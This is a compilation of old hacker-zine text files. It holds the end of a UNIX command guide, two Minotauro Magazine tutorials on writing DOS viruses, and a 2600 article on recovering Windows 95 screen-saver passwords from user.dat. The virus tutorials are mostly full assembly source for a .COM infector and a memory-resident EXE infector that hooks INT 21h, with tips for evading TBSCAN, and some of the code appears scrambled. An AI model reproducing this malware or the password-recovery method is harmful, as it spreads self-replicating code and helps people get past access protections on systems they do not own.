establishes contact with another system), and [uux] (UNIX to UNIX execute; allows commands to be executed on a remote system). wc -options filenames ~~~~~~~~~~~~~~~~~~~~~ The [wc] utility displays file-size information. This includes the number of lines, words, and characters. By chosing the -l, -w, or -c options, the information can be limited to only line, word, or character number. who ~~~ A very useful command (which some systems respond to even before a user is actually logged on), [who] displays a list of users currently online. This list includes the user's name, terminal device # (tty), and the log-in time. [who am i] displays info. only on the user who executed the command. _______________________________________________________________________________ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Alright. You may have noticed that this isn't EXACTLY a Bible. I took the liberty of omitting some of the command explanations. But, if anyone REALLY wants to know more about [vi], or [stty], or (perhaps more justifiably) have a more comprehensive guide to the mail system, I'll be glad to write some 'by request' text files. _______________________________________________________________________________ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ (c)1987 cDc communications by Franken Gibe All Rights Smeared Across The Wall 0/0/87-14 Virus programming (basics) #1... ----------------------------------------------------------------This section is dedicated to those who would like to write a virus, but don't have the knowledge to do so. First of all, writing a virus is no big deal. It is an easy project, but one which requires some basic programming skills, and the desire to write a virus! If either of these is missing, writing a virus would be tedious indeed!. Well, if you meet these requisites, keep reading this article.... JE READ JNE FUCK_YOU! READ: The survival of a virus is based in its ability to reproduce. "So how the fuck do I make a program reproduce?", you might ask. Simple, by getting it to copy itself to other files.... The functional logic of a virus is as follows: 1- Search for a file to infect 2- Open the file to see if it is infected 3- If infected, search for another file 4- Else, infect the file 5- Return control to the host program. The following is an example of a simple virus: ;**************************************************************** ; START OF THE EXAMPLE: ;**************************************************************** ;Warning, this example is a (piece of shit?) ; - The virus does not test for prior infection ; - it searches only for the first .COM file in the current ; directory ; ; Careful when executing this file, since the first time it's ; executed it will search for and infect the first file in the ; directory. If we later run the newly infected file, it will find ; the first file in its directory, itself. Thus, it will re-infect ; itself over and over. ;===================CODIGO======================================= ;(The variables in a .COM file are relative to offset 100h). codigo segment 'code' org 100h ;Organize all the code starting ; from offset 100h assume cs:codigo,ds:codigo,es:codigo ;Define the use of the ;segments start proc far ;Start the routine COMIENZO: push cs ;Store CS push cs ;Store CS ; once again. pop ds ;Bring DS out from stack pop es ;Bring ES out from stack call falso_proc ;Call proc. so that its ; address is placed in the stack falso_proc proc near falso_proc endp pop bp ;BP<== Proc. address. sub bp, 107h ;BP<== BP - Previous directory ;This is done to take the variables relative to BP, since the ;infection displaces the variables at exactly the length of the ; file. At the first infection, instruction "SUB BP, 107h" is ; 107h, so that the contents of BP is 0; when I call a variable ; with "BP+VARIABLE" the value of the variable's address is not ; modified. When I load it , for example, from a 100h byte ; infected file, the instruction "SUB BP, 107h" leaves me at ; address 207h which means BP=100h, the size of the original file. ; Had I called the variable without adding BP, I would have been ; short by 100h bytes. ;Find the first .COM file in the directory ----------------------------------------mov ah, 4eh ;Search for the 1st file lea dx, bp+file_inf ;DS:DX= offset of FILE_INF ;(*.*) so it will search all ;the files, including directory ;names with extensions. mov cx, 0000h int 21h ;Entry attributes ;These attributes mentioned in the commentary are the directory's ; entry attributes. When I set the attributes to 0, I'm telling ; DOS to search normal files. If I include a bit combination which ; provides the Hidden, System or Directory attributes, DOS will ; search for files with those attributes, as well as the normal ; files. If the search range includes the Volume bit, the search ; is limited to that. ;These are the bits which correspond to each attribute: ;Bits: 7 6 5 4 3 2 1 0 ; . . . . . . . 1 Bit 0: Read only ; . . . . . . 1 . Bit 1: Hidden ; . . . . . 1 . . Bit 2: System ; . . . . 1 . . . Bit 3: Volume ; . . . 1 . . . . Bit 4: Directory ; . . 1 . . . . . Bit 5: File ; ;Bits 6 and 7 are not used as they are reserved for "future ; applications". ;Open file ;---------------------------------------------------------------mov ah, 3dh ;Open the file. mov al, 00000010b ;read/write. mov dx, 009eh int 21h ;put the handle in AX push ax ;and store in stack. ;DX<== DTA(filename) offset ;The attributes I'm setting in AL are not the same as before. ; These are the "open" attributes. We are only interested in the ; first 3 bits, ;bits 2 1 0: ; ; 0 0 0 Read only mode ; 0 0 1 Write only mode ; 0 1 0 Read/Write mode ; ;OK, we now have the file attributes stored in AL. What we now ; need to do is to store in DX the offset of the variable where ; I've stored the ASCIIZ chain with the name of the file to be ; opened. In this case, we don't have a NAME_OF_FILE variable. ; Instead, the name is located in the DTA (Disk Transfer Area). I ; we have it in the DTA...... Why? Simply because when we search ; for a file to infect, all the information we need is returned to ; this memory area. This buffer, if it was not reset, is found in ; the PSP; more precisely, it starts at offset 80h and is 43d bytes ; in size. ; ;The DTA format is as follows: ; ;Offset Bytes ; 00h 21d ; Function Used by DOS for the 4fh service (search for the next file) ; 15h 01d Attributes of the file that's been found ; 16h 02d File time ; 18h 02d File date ; 1Ah 04d File size in bytes ; 1Eh 13d File name in an ASCIIZ chain ; (FILENAME.EXT),0 ; ;Well, all that remains to be doe is to give DX the position in ; memory where I've stored the filename: ; done. "MOV DX, E1h" and its's But careful now, remember that DTA starts at offset 80h, ; which means I have to pass to DX the value "80h+1Eh = 9Eh". That ; would than leave "MOV DX, 9Eh"; the problem is solved. Now you are probably asking yourselves what I mean by "handle". The handle is a number which tells DOS which file we want. DOS gives us a handle for each file we open so we have to be careful to have the correct handle for each file which we read/write. ;Read the first 3 bytes. ----------------------------------------------------pop bx ;I take the handle from the ;stack to BX push bx ;and I store it again. mov ah, 3fh ;Read file. mov cx, 0003h ;Read 3 bytes. lea dx, bp+buffer ;and store in the buffer. int 21h INFECTAR: ;(infect) ;Move pointer to the start. --------------------------------------------------mov ax, 4200h ;I move the write pointer ;to the beginning of the program mov cx, 0000h mov dx, 0000h int 21h ;The pointer's displacement, relative to the position of the ; pointer as specified in AL, is placed in CX and DX. ; Pointer displacement modes set in AL: ; AL <== 00 Move pointer to the beginning of the file. ; AL <== 01 leave pointer where it is. ; AL <== 02 Move pointer to end-of-file. ;Write the first byte (jmp) ------------------------------------------------mov ah, 40h ;write the first byte. mov cx, 1d ;Quantity=1. lea dx, bp+jump ;DX<== JUMP offset int 21h ;(Here we still need the handle, but we don't need to set it again ; because the register which contained the information was not ; modified. ; ;The first byte to be written is a JUMP instruction (the symbol for ; the jump is below). What follows the jump is the address of the ; jump, file-length + 1. (test the "+ 1" thoroughly, since this ; can cause problems; if so, multiply by 18 or subtract 23.) ; Hehehehe. ;Since the entire virus code is copied at the end of the file, the ; jump gives the virus control in an infected file. ;Calculating file length ------------------------------------------------mov cx, 2 ;Copy 2 bytes. mov si, 009ah ;SI<== DTA offset lea di, bp+longitud rep movsb ;DI<== File LENGTH offset. ;Copy. ;This instruction must have the 'SOURCE' buffer address in DS:SI ; and the address where the string will be copied in ES:DI (in this ; case, I copy the file length of the DTA to the variable ; 'LONGITUD'). sub word ptr [bp+longitud], 3 ;subtract 3 bytes from ;[LONGITUD] ;The JMP is completed -------------------------------------mov ah, 40h mov cx, 2d lea dx, bp+longitud ;Write. ;Number of bytes. ;DX<== LONGITUD (length) ; offset int 21h ;Move pointer to end ------------------------------------------------------mov ax, 4202h ;Move the write pointer to the ;end of the program. mov cx, 0000h mov dx, 0000h int 21h add word ptr [bp+longitud],3 ;Restore LONGITUD. ;Copy the virus to the program. --------------------------------------------------pop bx mov ah, 40h mov cx, 190d ;Restore the handle. ;number of bytes to copy. lea dx, bp+comienzo int ;Start copying from.... 21h ;Close the file after infection -----------------------------------mov ah, 3eh int 21h ;Close file. ;Here, too, we need in DS:DX the address of the buffer which ; contains the filename string, but in this case DS and DX already ; contain those values from before. NO_INFECTAR: ;==================RETURN CONTROL TO THE HOST===================== ;Copy the buffer which contains the first 3 bytes of the file into ; memory. -----------------mov cx, 0003h ;Number of bytes (3). mov di, 0100h ;DI<== offset 100h. Beginning of the ;program in memory. lea si, bp+buffer ;SI<== BUFFER offset rep movsb ;Copy. ;What we are doing here is to "fix" the file, since when it was ; infected, the first few bytes are overwritten by the virus. That ; is why we reconstruct the file to its original state, by copying ; the first 3 bytes, which we had stored earlier, into memory. ;Jump to offset 100h -------------------------------------------------------mov ax, 0100h ;Address needed to execute the host jmp ax ;As we mentioned before, in .COM files the executable code begins ; at offset 100h. The information found between 00h and 100h is ; program data, like the DTA for example. ;The main difference between a .COM file and an .EXE is that a .COM ; cannot occupy more than one memory segment, or 65535 bytes. ; .EXEs can, because DOS can 'tailor' them to fit into a number of ; different segments. Unlike.EXE files. .COM files are faithful ; reproductions of the contents of memory. ;====================DATA AREA=================================== buffer db 7d dup(0) longitud db 2 dup(0) file_inf db '*.COM',0 jump db '・,0 ;<----jump ascii ;(The character '0' is the end of the ASCIIZ string) start endp ;End of main procedure codigo ends ;end of code segment end ;END. Go to COMIENZO comienzo ;**************************************************************** ; END OF EXAMPLE ;**************************************************************** Drako. Virus programming (not so basic) #2... -----------------------------------------------------------------Infecting an .EXE is not much more difficult than infecting a .COM. To do so, you must learn about a structure known as the EXE header. Once you've picked this up, it's not so difficult and it offers many more options than just a simple jump at the beginning of the code. Let's begin: % The Header structure % The information on EXE header structure is available from any good DOS book, and even from some other H/P/V mags. Anyhow, I'll include that information here for those who don't have those sources to understand what I'm talking about. Offset Description 00 EXE identifier (MZ = 4D5A) 02 Number of bytes on the last page (of 512 bytes) of the program 04 Total number of 512 byte pages, rounded upwards 06 Number of entries in the File Allocation Table 08 Size of the header in paragraphs, including the FAT 0A Minimum memory requirement 0C Maximum memory requirement 0E Initial SS 10 Initial SP 12 Checksum 14 Initial IP 16 Initial CS 18 Offset to the FAT from the beginning of the file 1A Number of generated overlays The EXE identifier (MZ) is what truly distinguishes the EXE from a COM, and not the extension. The extension is only used by DOS to determine which must run first (COM before EXE before BAT). What really tells the system whether its a "true" EXE is this identifier (MZ). Entries 02 and 04 contain the program size in the following format: 512 byte pages * 512 + remainder. In other words, if the program has 1025 bytes, we have 3 512 byte pages (remember, we must round upwards) plus a remainder of 1. (Actually, we could ask why we need the remainder, since we are rounding up to the nearest page. Even more since we are going to use 4 bytes for the size, why not just eliminate it? The virus programmer has such a rough life :-)). Entry number 06 contains the number of entries in the FAT (number of pointers, see below) and entry 18 has the offset from the FAT within the file. The header size (entry 08) includes the FAT. The minimum memory requirement (0A) indicates the least amount of free memory the program needs in order to run and the maximum (0C) the ideal amount of memory to run the program. (Generally this is set to FFFF = 1M by the linkers, and DOS hands over all available memory). The SS:SP and CS:IP contain the initial values for theses registers (see below). Note that SS:SP is set backwards, which means that an LDS cannot load it. The checksum (12) and the number of overlays (1a) can be ignored since these entries are never used. % EXE vs. COM load process % Well, by now we all know exhaustively how to load a .COM: We build a PSP, we create an Environment Block starting from the parent block, and we copy the COM file into memory exactly as it is, below the PSP. Since memory is segmented into 64k "caches" no COM file can be larger than 64K. DOS will not execute a COM file larger than 64K. Note that when a COM file is loaded, all available memory is granted to the program. Where it pertains to EXEs, however, bypassing these limitations is much more complex; we must use the FAT and the EXE header for this. When an EXE is executed, DOS first performs the same functions as in loading a COM. It then reads into a work area the EXE header and, based on the information this provides, reads the program into its proper location in memory. Lastly, it reads the FAT into another work area. It then relocates the entire code. What does this consist of? The linker will always treat any segment references as having a base address of 0. In other words, the first segment is 0, the second is 1, etc. On the other hand, the program is loaded into a non-zero segment; for example, 1000h. In this case, all references to segment 1 must be converted to segment 1001h. The FAT is simply a list of pointers which mark references of this type (to segment 1, etc.). These pointers, in turn, are also relative to base address 0, which means they, too, can be reallocated. Therefore, DOS adds the effective segment (the segment into which the program was loaded; i.e. 1000h) to the pointer in the FAT and thus obtains an absolute address in memory to reference the segment. The effective segment is also added to this reference, and having done this with each and every segment reference, the EXE is reallocated and is ready to execute. Finally, DOS sets SS:SP to the header values (also reallocated; the header SS + 1000H), and turns control over to the CS:IP of the header (obviously also reallocated). Lets look at a simple exercise: EXE PROGRAM FILE Header (reallocation table entries=2) CS:IP (Header) Eff. Segment PSP 0000:0000 + 1000 0010 + = ------------------------Entry Point Reallocation Table 1010:0000 >ÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÙ 0000:0003 >ÄÄÄÄÄÄÄÄÄ> + 1010H = 1010:0003 >ÄÄ¿ ³ ³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³ 0000:0007 >ÄÄÄÄÄÄÅÄÄ> + 1010H = 1010:0007 >ÄÄ¿ ³ ÚÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Program Image ³ ³ ³ ³ PROGRAM IN MEMORY PSP ³ 1000:0000 call 0001:0000 ³ ÀÄÄ> call 1011:0000 nop mov ax, 0003 ³ nop ³ 1010:0000 <ÄÙ 1010:0005 ÀÄÄÄÄ> mov ax, 1013 mov ds, ax ³ mov ds, ax 1010:0006 1010:0009 Note: I hope you appreciate my use of the little arrows, because it cost me a testicle to do it by hand using the Alt+??? keys in Norton Commander Editor. % Infecting the EXE % Once it has been determined that the file is an EXE and NOT a COM, use the following steps to infect it: - Obtain the file size and calculate the CS:IP This is complex. Most, if not all, viruses add 1 to 15 garbage bytes to round out to a paragraph. This allows you to calculate CS in such a way that IP does not vary from file to file. This, in turn, allows you to write the virus without "reallocation" since it will always run with the same offset, making the virus both less complex and smaller. The (minimal) effort expended in writing these 1 - 15 bytes is justified by these benefits. - Add the virus to the end of the file. Well, I'm sure that by now you are familiar function 40H of Int 21H, right? - :-) Calculate the SS:SP When infecting an EXE it is necessary for the virus to "fix" itself a new stack since otherwise the host's stack could be superimposed over the virus code and have it be overwritten when the code is executed. The system would then hang. Generally, SS is the same as the calculated CS, and SP is constant (you can put it after the code). Something to keep in mind: SP can never be an odd number because, even though it will work, it is an error and TBSCAN will catch it. (TBSCAN detects 99% of the virus stacks with the "K" flag. The only way to elude this that I'm aware of, is to place the stack AHEAD of the virus in the infected file, which is a pain in the ass because the infection size increases and you have to write more "garbage" to make room for the stack. - Modify the size shown in the header Now that you've written the virus, you can calculate the final size and write it in the header. It's easy: place the size divided by 512 plus 1 in 'pages' and the rest in 'remainder'. All it takes is one DIV instruction. - Modify the "MinAlloc" In most EXEs, "MaxAlloc" is set to FFFF, or 1 meg, and DOS will give it all the available memory. In such cases, there is more than enough room for HOST+VIRUS. But, two things could happen: 1. It could be that "MaxAlloc" is not set to FFFF, in which case only the minimum memory is granted to the host and possibly nothing for the virus. 2. It could be that there is too little memory available, thus when the system gives the program "all the available memory" (as indicated by FFFF) there may still be insufficient memory for HOST+VIRUS. In both cases, the virus does not load and the system halts. To get around this, all that needs to be done is to add to "MinAlloc" the size of the virus in "paragraphs". In the first case, DOS would load the program and everything would work like a charm. In the second case, DOS would not execute the file due to "insufficient memory". Well, that's all. Just two last little things: when you write an EXE infector, we are interested not only in the infection routine but also the installation routine. Keep in mind that in an EXE DS and ES point to the PSP and are different from SS and CS (which in turn can be different from each other). This can save you from hours of debugging and inexplicable errors. All that needs to be done is to follow the previously mentioned steps in order to infect in the safe, "traditional" way. I recommend that you study carefully the virus example below as it illustrates all the topics we've mentioned. % Details, Oh, Details ... % One last detail which is somewhat important, deals with excessively large EXEs. You sometimes see EXEs which are larger than 500K. (For example, TC.EXE which was the IDE for TURBO C/C++ 1.01, was 800K. Of course, these EXEs aren't very common; they simply have internal overlays. It's almost impossible to infect these EXEs for two reasons: 1. The first is more or less theoretical. It so happens that it's only possible to direct 1M to registers SEGMENT:OFFSET. For this reason, it is technically impossible to infect EXEs 1M+ in size since it is impossible to direct CS:IP to the end of the file. No virus can do it. (Are there EXEs of a size greater than 1M? Yes, the game HOOK had an EXE of 1.6M. BLERGH!) 2. The second reason is of a practical nature. These EXEs with internal overlays are not loaded whole into memory. Only a small part of the EXE is loaded into memory, which in turn takes care of loading the other parts AS THEY ARE NEEDED. That's why its possible to run an 800K EXE (did you notice that 800K > 640K? :-) ). How does this fact make these EXEs difficult to infect? Because once one of these EXEs has been infected and the virus has made its modifications, the file will attempt to load itself into memory in it's entirety (like, all 800K). Evidently, the system will hang. It's possible to imagine a virus capable of infecting very large EXEs which contain internal overlays (smaller than 1M) by manipulating the "Header Size", but even so I can't see how it would work because at some point DOS would try to load the entire file. % A Special case: RAT % Understanding the header reallocation process also allows us to understand the functioning of a virus which infects special EXEs. We're talking about the RAT virus. This virus takes advantage of the fact that linkers tend to make the headers in caches of 512 bytes, leaving a lot of unused space in those situations where there is little reallocation. This virus uses this unused space in order to copy itself without using the header (of the file allocation table). Of course, it works in a totally different manner from a normal EXE infector. It cannot allow any reallocation; since its code is placed BEFORE the host, it would be the virus code and not the host which is reallocated. Therefore, it can't make a simple jump to the host to run it (since it isn't reallocated); instead, it must re-write the original header to the file and run it with AX=4B00, INT 21. % Virus Example % OK, as behooves any worthwhile virus 'zine, here is some totally functional code which illustrates everything that's been said about infecting EXEs. If there was something you didn't understand, or if you want to see something "in code form", take a good look at this virus, which is commented OUT THE ASS. -------------------- Cut Here -----------------------------------;NOTE: This is a mediocre virus, set here only to illustrate EXE ; infections. It can't infect READ ONLY files and it modifies the ; date/time stamp. It could be improved, such as by making it ; infect R/O files and by optimizing the code. ; ;NOTE 2: First, I put a cute little message in the code and second, ; I made it ring a bell every time it infects. So, if you infect ; your entire hard drive, it's because you're a born asshole. code segment para public assume cs:code, ss:code VirLen equ VirBegin label offset VirEnd - offset VirBegin byte Install: mov ax, 0BABAH ; This makes sure the virus doesn't go resident ; twice int 21h cmp ax, 0CACAH ; If it returns this code, it's already ; resident jz AlreadyInMemory mov ax, 3521h ; This gives us the original INT 21 address so int 21h ; we can call it later mov cs:word ptr OldInt21, bx mov cs:word ptr OldInt21+2, es mov ax, ds ; ¥ dec ax ; | mov es, ax ; | mov ax, es:[3] ; block size ; | If you're new at this, ; | ignore all this crap sub ax, ((VirLen+15) /16) + 1 ; | (It's the MCB method) xchg bx, ax ; | It's not crucial for EXE mov ah,4ah ; | infections. push ds ; | It's one of the ways to pop es ; | make a virus go resident. int 21h ; | mov ah, 48h ; | mov bx, ((VirLen+15) / 16) ; | int 21h ; | dec ax ; | mov es, ax ; | mov word ptr es:[1], 8 ; | inc ax ; | mov es, ax ; | xor di, di ; | xor si, si ; | push ds ; | push cs ; | pop ds ; | mov cx, VirLen ; | repz movsb ; / mov ax, 2521h ; Here you grab INT 21 mov dx, offset NewInt21 push es pop ds int 21h pop ds ; This makes DS & ES go back to their original ; values push ds ; IMPORTANT! Otherwise the EXE will receive the pop es ; incorrect DE & ES values, and hang. AlreadyInMemory: mov ax, ds ; With this I set SS to the ; Header value. add ax, cs:word ptr SS_SP ; Note that I "reallocate" it ; using DS since this is the add ax, 10h mov ss, ax ; the segment into which the ; program was loaded. The +10 ; corresponds to the mov sp, cs:word ptr SS_SP+2 ; PSP. I also set SP mov ax, ds add ax, cs:word ptr CS_IP+2 add ax, 10h ; Now I do the same with CS & ; IP. I "push" them and then I ; do a retf. (?) push ax mov ax, cs:word ptr CS_IP ; This makes it "jump" to that ; position push ax retf NewInt21: cmp ax, 0BABAh ; This ensures the virus does not go jz PCheck ; resident twice. cmp ax, 4b00h ; This intercepts the "run file" function jz Infect ; jmp cs:OldInt21 ; If it is neither of these, it turns control ; back to the original INT21 so that it ; processes the call. PCheck: mov ax, 0CACAH iret ; This code returns the call. ; return. ; Here's the infection routine. Pay attention, because this is ; "IT". ; Ignore everything else if you wish, but take a good look at this. Infect: push ds ; We put the file name to be infected in DS:DX. push dx ; Which is why we must save it. pushf call cs:OldInt21 ; We call the original INT21 to run the file. push bp mov bp, sp ; We save all the registers. ; This is important in a resident routine, ;since if it isn't done, push ax ; the system will probably hang. pushf push bx push cx push dx push ds lds dx, [bp+2] ; Again we obtain the filename (from the stack) mov ax, 3d02h ; We open the file r/w int 21h xchg bx, ax mov ah, 3fh ; Here we read the first 32 bytes to memory. mov cx, 20h ; to the variable "ExeHeader" push cs pop ds mov dx, offset ExeHeader int 21h cmp ds:word ptr ExeHeader, 'ZM' ; This determines if it's a jz Continue ; "real" EXE or if it's a COM. jmp AbortInfect ; If it's a COM, don't infect. Continue: cmp ds:word ptr Checksum, 'JA' ; This is the virus's way ; of identifying itself. jnz Continue2 ; We use the Header Chksum for this jmp AbortInfect ; It's used for nothing else. If ; already infected, don't re-infect. :-) Continue2: mov ax, 4202h ; Now we go to the end of file to see of it cwd ; ends in a paragraph xor cx, cx int 21h and ax, 0fh or ax, ax jz DontAdd ; If "yes", we do nothing mov cx, 10h ; If "no", we add garbage bytes to serve as sub cx, ax ; Note that the contents of DX no longer matter mov ah, 40h ; since we don't care what we're inserting. int 21h DontAdd: mov ax, 4202h ; OK, now we get the final size, rounded cwd xor cx, cx ; to a paragraph. int 21h mov cl, 4 ; This code calculates the new CS:IP the file must shr ax, cl ; now have, as follows: mov cl, 12 ; File size: 12340H (DX=1, AX=2340H) shl dx, cl ; DX SHL 12 + AX SHR 4 = 1000H + 0234H = 1234H = CS add dx, ax ; DX now has the CS value it must have. sub dx, word ptr ds:ExeHeader+8 ; We subtract the number of ; paragraphs from the header push dx ; and save the result in the stack for later. ; <------- Do you understand why you can't infect ; EXEs larger than 1M? mov ah, 40h ; Now we write the virus to the end of the file. mov cx, VirLen ; We do this before touching the header so that cwd ; CS:IP or SS:SP of the header (kept within the ; virus code) int 21h ; contains the original value ; so that the virus installation routines work ; correctly. pop dx mov ds:SS_SP, dx ; Modify the header CS:IP so that it ; points to the virus. mov ds:CS_IP+2, dx ; Then we place a 100h stack after the mov ds:word ptr CS_IP, 0 ; virus since it will be used by ; the virus only during the installation process. Later, the ; stack changes and becomes the programs original stack. mov ds:word ptr SS_SP+2, ((VirLen+100h+1)/2)*2 ; the previous command SP to have an even value, otherwise ; TBSCAN will pick it up. mov ax, 4202h ; We obtain the new size so as to calculate the xor cx, cx cwd ; size we must place in the header. int 21h mov cx, 200h ; We calculate the following: div cx ; FileSize/512 = PAGES plus remainder inc ax ; We round upwards and save mov word ptr ds:ExeHeader+2, dx ; it in the header to mov word ptr ds:ExeHeader+4, ax ; write it later. mov word ptr ds:Checksum, 'JA'; We write the virus's ; identification mark in the ; checksum. add word ptr ds:ExeHeader+0ah, ((VirLen + 15) SHR 4)+10h ; We add the number of paragraphs to the "MinAlloc" ; to avoid memory allocation problems (we also add 10 ; paragraphs for the virus's stack. mov ax, 4200h ; Go to the start of the file cwd xor cx, cx int 21h mov ah, 40h ; and write the modified header.... mov cx, 20h mov dx, offset ExeHeader int 21h mov ah, 2 ; a little bell rings so the beginner remembers mov dl, 7 ; that the virus is in memory. IF AFTER ALL int 21h ; THIS YOU STILL INFECT YOURSELF, CUT OFF YOUR ; NUTS. AbortInfect: mov ah, 3eh ; Close the file. int 21h pop ds ; We pop the registers we pushed so as to save pop dx ; them. pop cx pop bx pop ax;flags ; This makes sure the flags are passed mov bp, sp ; correctly. Beginners can ignore this. mov [bp+12], ax pop ax pop bp add sp, 4 iret ; We return control. ; Data OldInt21 dd 0 ; Here we store the original INT 21 address. ExeHeader db 0eh DUP('H'); SS_SP dw Checksum dw 0 CS_IP dw dw 0, offset VirEnd+100h offset Hoste,0 0,0,0,0 ; This is the EXE header. VirEnd label byte Hoste: ; This is not the virus host, rather the "false host" so that ; the file carrier runs well :-). mov ah, 9 mov dx, offset MSG push cs pop ds int 21h mov ax, 4c00h int 21h MSG db "LOOK OUT! The virus is now in memory!", 13, 10 db "And it could infect all the EXEs you run!", 13, 10 db "If you get infected, that's YOUR problem", 13, 10 db "We're not responsible for your stupidity!$" ends end -------------------- Cut Here ------------------------------------- % Conclusion % OK, that's all, folks. I tried to make this article useful for both the "profane" who are just now starting to code Vx as well as for those who have a clearer idea. Yeah, I know the beginners almost certainly didn't understand many parts of this article due the complexity of the matter, and the experts may not have understood some parts due to the incoherence and poor descriptive abilities of the writer. Well, fuck it. Still, I hope it has been useful and I expect to see many more EXE infectors from now on. A parting shot: I challenge my readers to write a virus capable of infecting an 800K EXE file (I think it's impossible). Prize: a lifetime subscription to Minotauro Magazine :-). Trurl, the great "constructor" Cracking the Windows 95 Screen Saver Password Article Extracted from 2600 Magazine Volume 13 #4 ============================================= Defeating the Windows 95 Screensaver by rdpzza While many may consider this a trivial exercise, cracking the password scheme for Win95 may be useful to some of you out there. Some may even find ways to have phun with it as well. To start with, you need to know where to look. In 3.1, the password was kept in the control.ini. Although 95 also uses the control.ini, it does not use it for keeping the password information. Foe 95, you will have to look in each of the user.dat files. I say each because if you have multiple users, each user may have a profile saved on the hard drive. The default user.dat file is in the \windows directory. The other user.dat files can be found in the directory \profiles\username where username changes. As you may know, user.dat is one of the two files used for the registry and its is very important. User.dat will carry the attributes "shr" so you will have to look accordingly. Also, since it is so important, a backup is kept, namely user.da0. This may be the previous user.dat, say when the user changed passwords... Anyway, now that you have the file, where is it? If you scan the file for passowrd, you will come up with the setting of whether or not the screen saver is password protected. This may be enough for you so you can just change it and be done. While this little change will be noticed, it will get you by the password. If, however, you wish to actually find out the what the pass phrase is, read on. Why find out what the pass phrase is, you ask? Because a lot of times users are stupid, lazy, have bad memory or any combination of these and reuse passwords or schemes any time a key is needed. This is especially true in network environments and even more so when 95 is used as the workstation OS. In such systems, there is the possibility of changing the logon password and the screen saver password at the same time. I wonder how that can be useful? Back to finding out what the phrase is. 95 has been rumored to use dual case. Let me clear this rumor. 3.1. It does not. It uses the "all upper" coding for the password like The maximum length of the screen saver password is 14 characters long. It will allow you to enter longer passwords, but 95 will act screwy; it won't require the password from screen saver, it will hang, etc. OK, so we have the file. Look for the string "ScreenSaver_Data". After this is an even string of numbres and letters ending in 00. THere is the encrypted pass phrase. The pass phrase is different from 3.1 in that 95 uses what I call "encrypted-couplets" meaning that for every character in the phrase, there are two encryption values. The first encrypted couplet (EC) is the first hex digit of the unencrypted ascii value, and the second EC is the second hex digit. For example, say the first two hex digits after the string "ScreenSaver_Data" are 31 41 (1A in ASCII). The 31 represents (after decryption) 5 and the 41, 2. Put the digits together and you have 52h, R in ASCII. Keep this concept in mind while decoding the EC's because the decryption scheme is the same for each value, only the key changes. Example of Screen Saver EC's decoded to password. 1AAAA26473D28 <- code in the user.dat RDPZZA <- Win95 SS password Try it out. Text file downloaded from the HackerZ Hideout @ www.hackersclub.com/km